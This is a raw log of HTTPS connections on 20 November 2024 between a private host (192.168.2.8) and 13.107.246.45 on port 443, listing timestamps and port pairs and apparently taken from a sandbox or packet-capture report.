Nov 20, 2024 13:28:34.750411034 CET	49845	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.750416040 CET	443	49845	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.861828089 CET	443	49844	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.861916065 CET	443	49844	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.862103939 CET	49844	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.862458944 CET	49844	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.862483025 CET	443	49844	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.862497091 CET	49844	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.862504959 CET	443	49844	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.866272926 CET	49849	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.866326094 CET	443	49849	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.866426945 CET	49849	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.866673946 CET	49849	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.866689920 CET	443	49849	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.935528040 CET	443	49845	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.935617924 CET	443	49845	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.935739994 CET	49845	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.936067104 CET	49845	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.936094046 CET	443	49845	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.936105013 CET	49845	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.936110973 CET	443	49845	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.939796925 CET	49850	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.939896107 CET	443	49850	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:34.939996958 CET	49850	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.940831900 CET	49850	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:34.940869093 CET	443	49850	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.376971006 CET	443	49846	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.377598047 CET	49846	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.377629995 CET	443	49846	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.378123999 CET	49846	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.378129959 CET	443	49846	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.434880018 CET	443	49848	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.435462952 CET	49848	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.435509920 CET	443	49848	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.436069012 CET	49848	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.436084986 CET	443	49848	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.482530117 CET	443	49846	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.482599974 CET	443	49846	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.482660055 CET	49846	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.482887983 CET	49846	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.482912064 CET	443	49846	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.482928991 CET	49846	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.482935905 CET	443	49846	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.486232996 CET	49851	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.486284018 CET	443	49851	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.486342907 CET	49851	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.486506939 CET	49851	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.486516953 CET	443	49851	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.502266884 CET	443	49849	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.502768040 CET	49849	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.502777100 CET	443	49849	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.503246069 CET	49849	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.503248930 CET	443	49849	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.543240070 CET	443	49848	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.543351889 CET	443	49848	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.543632984 CET	49848	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.543695927 CET	49848	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.543695927 CET	49848	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.543730974 CET	443	49848	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.543756008 CET	443	49848	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.546777964 CET	49852	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.546819925 CET	443	49852	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.546927929 CET	49852	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.547116041 CET	49852	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.547128916 CET	443	49852	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.581198931 CET	443	49850	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.581928015 CET	49850	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.581938982 CET	443	49850	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.582411051 CET	49850	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.582421064 CET	443	49850	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.616635084 CET	443	49849	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.616723061 CET	443	49849	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.616854906 CET	49849	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.631135941 CET	49849	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.631167889 CET	443	49849	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.631181002 CET	49849	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.631189108 CET	443	49849	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.634311914 CET	49853	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.634361982 CET	443	49853	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.634438992 CET	49853	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.634637117 CET	49853	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.634649992 CET	443	49853	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.681663036 CET	443	49850	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.681751013 CET	443	49850	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.681828022 CET	49850	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.682069063 CET	49850	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.682085991 CET	443	49850	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.682097912 CET	49850	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.682101965 CET	443	49850	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.685062885 CET	49854	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.685087919 CET	443	49854	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:35.685307980 CET	49854	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.685472965 CET	49854	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:35.685487032 CET	443	49854	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.218657970 CET	443	49852	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.221971989 CET	49852	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.221986055 CET	443	49852	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.222505093 CET	49852	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.222507954 CET	443	49852	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.257313967 CET	443	49851	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.261962891 CET	49851	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.261997938 CET	443	49851	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.262479067 CET	49851	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.262486935 CET	443	49851	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.276169062 CET	443	49853	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.277882099 CET	49853	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.277926922 CET	443	49853	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.278356075 CET	49853	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.278361082 CET	443	49853	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.325449944 CET	443	49852	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.325665951 CET	443	49852	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.325722933 CET	49852	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.326126099 CET	49852	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.326141119 CET	443	49852	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.326150894 CET	49852	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.326155901 CET	443	49852	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.334021091 CET	443	49854	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.336381912 CET	49854	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.336394072 CET	443	49854	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.336873055 CET	49854	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.336877108 CET	443	49854	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.338284016 CET	49855	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.338331938 CET	443	49855	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.338407040 CET	49855	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.338522911 CET	49855	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.338531017 CET	443	49855	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.359627008 CET	443	49851	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.359705925 CET	443	49851	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.359816074 CET	49851	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.359939098 CET	49851	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.359966040 CET	443	49851	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.359981060 CET	49851	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.359991074 CET	443	49851	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.362808943 CET	49856	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.362833977 CET	443	49856	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.363001108 CET	49856	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.363056898 CET	49856	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.363063097 CET	443	49856	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.378930092 CET	443	49853	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.379007101 CET	443	49853	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.379086971 CET	49853	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.379240990 CET	49853	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.379256010 CET	443	49853	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.379266024 CET	49853	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.379272938 CET	443	49853	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.382441998 CET	49857	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.382469893 CET	443	49857	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.382580996 CET	49857	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.382826090 CET	49857	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.382838964 CET	443	49857	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.615232944 CET	443	49854	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.615329981 CET	443	49854	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.615663052 CET	49854	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.615700006 CET	49854	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.615717888 CET	443	49854	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.615727901 CET	49854	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.615732908 CET	443	49854	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.619035006 CET	49858	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.619088888 CET	443	49858	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:36.619205952 CET	49858	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.619369984 CET	49858	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:36.619385004 CET	443	49858	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.032099009 CET	443	49855	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.032692909 CET	49855	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.032710075 CET	443	49855	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.033149958 CET	49855	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.033154964 CET	443	49855	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.245094061 CET	443	49855	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.245168924 CET	443	49855	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.245295048 CET	49855	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.245486021 CET	49855	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.245486021 CET	49855	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.245505095 CET	443	49855	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.245516062 CET	443	49855	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.246993065 CET	443	49857	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.247347116 CET	443	49856	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.247478962 CET	49857	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.247493982 CET	443	49857	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.247941017 CET	49857	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.247946024 CET	443	49857	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.248224020 CET	49856	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.248235941 CET	443	49856	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.248601913 CET	49856	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.248610973 CET	443	49856	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.248764992 CET	49859	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.248786926 CET	443	49859	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.248856068 CET	49859	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.249016047 CET	49859	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.249022007 CET	443	49859	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.362004995 CET	443	49856	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.362109900 CET	443	49856	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.362205982 CET	49856	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.362221956 CET	443	49857	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.362284899 CET	443	49857	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.362329006 CET	49857	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.362404108 CET	49856	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.362404108 CET	49856	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.362413883 CET	443	49856	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.362421989 CET	443	49856	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.362437010 CET	49857	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.362454891 CET	443	49857	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.362466097 CET	49857	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.362472057 CET	443	49857	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.365994930 CET	49861	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.365994930 CET	49860	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.366034985 CET	443	49860	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.366038084 CET	443	49861	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.366120100 CET	49861	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.366293907 CET	49861	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.366295099 CET	49860	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.366295099 CET	49860	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.366313934 CET	443	49861	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.366323948 CET	443	49860	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.433758974 CET	443	49858	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.434794903 CET	49858	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.434803009 CET	443	49858	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.435550928 CET	49858	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.435561895 CET	443	49858	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.540443897 CET	443	49858	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.540512085 CET	443	49858	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.540594101 CET	49858	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.540858984 CET	49858	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.540858984 CET	49858	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.540879011 CET	443	49858	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.540893078 CET	443	49858	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.544619083 CET	49862	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.544652939 CET	443	49862	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:37.544708967 CET	49862	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.545078039 CET	49862	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:37.545089960 CET	443	49862	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.010576963 CET	443	49859	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.014446974 CET	49859	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.014463902 CET	443	49859	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.014957905 CET	49859	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.014961958 CET	443	49859	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.125157118 CET	443	49859	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.125309944 CET	443	49859	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.125365973 CET	49859	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.125483990 CET	49859	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.125502110 CET	443	49859	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.125516891 CET	49859	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.125523090 CET	443	49859	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.128503084 CET	49863	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.128597975 CET	443	49863	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.128673077 CET	49863	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.128817081 CET	49863	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.128861904 CET	443	49863	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.195262909 CET	443	49862	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.196450949 CET	443	49861	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.196639061 CET	49862	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.196660995 CET	443	49862	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.196669102 CET	443	49860	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.197135925 CET	49862	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.197144032 CET	443	49862	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.198112965 CET	49861	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.198141098 CET	443	49861	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.198523045 CET	49861	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.198529005 CET	443	49861	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.198852062 CET	49860	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.198860884 CET	443	49860	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.199300051 CET	49860	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.199304104 CET	443	49860	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.295556068 CET	443	49862	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.295635939 CET	443	49862	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.295725107 CET	49862	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.295972109 CET	49862	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.295994043 CET	443	49862	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.296005964 CET	49862	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.296011925 CET	443	49862	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.299034119 CET	49864	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.299077988 CET	443	49864	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.299139023 CET	49864	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.299294949 CET	49864	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.299305916 CET	443	49864	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.299879074 CET	443	49861	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.299948931 CET	443	49861	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.299993992 CET	49861	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.300096035 CET	49861	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.300120115 CET	443	49861	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.300133944 CET	49861	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.300141096 CET	443	49861	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.300261021 CET	443	49860	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.300332069 CET	443	49860	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.300373077 CET	49860	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.301132917 CET	49860	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.301140070 CET	443	49860	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.301150084 CET	49860	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.301152945 CET	443	49860	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.303745985 CET	49865	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.303792953 CET	443	49865	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.303858995 CET	49865	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.304147959 CET	49865	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.304162979 CET	443	49865	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.305135012 CET	49866	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.305150032 CET	443	49866	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.305207014 CET	49866	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.306097984 CET	49866	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.306109905 CET	443	49866	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.377199888 CET	443	49847	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.377773046 CET	49847	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.377839088 CET	443	49847	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.378232956 CET	49847	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.378247023 CET	443	49847	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.476500034 CET	443	49847	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.476686954 CET	443	49847	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.476766109 CET	49847	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.477412939 CET	49847	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.477464914 CET	443	49847	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.477497101 CET	49847	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.477514029 CET	443	49847	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.481127977 CET	49867	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.481213093 CET	443	49867	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.481288910 CET	49867	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.481445074 CET	49867	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.481478930 CET	443	49867	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.781089067 CET	443	49863	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.782061100 CET	49863	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.782104969 CET	443	49863	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.782701015 CET	49863	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.782708883 CET	443	49863	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.882659912 CET	443	49863	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.882725954 CET	443	49863	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.882826090 CET	49863	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.883101940 CET	49863	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.883125067 CET	443	49863	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.883138895 CET	49863	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.883146048 CET	443	49863	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.886924028 CET	49868	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.886997938 CET	443	49868	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.887298107 CET	49868	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.887298107 CET	49868	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.887389898 CET	443	49868	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.935858965 CET	443	49864	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.936580896 CET	49864	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.936670065 CET	443	49864	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.937124014 CET	49864	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.937138081 CET	443	49864	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.945025921 CET	443	49865	13.107.246.45	192.168.2.8
Nov 20, 2024 13:28:38.945375919 CET	49865	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:28:38.945415020 CET	443	49865	13.107.246.45	192.168.2.8
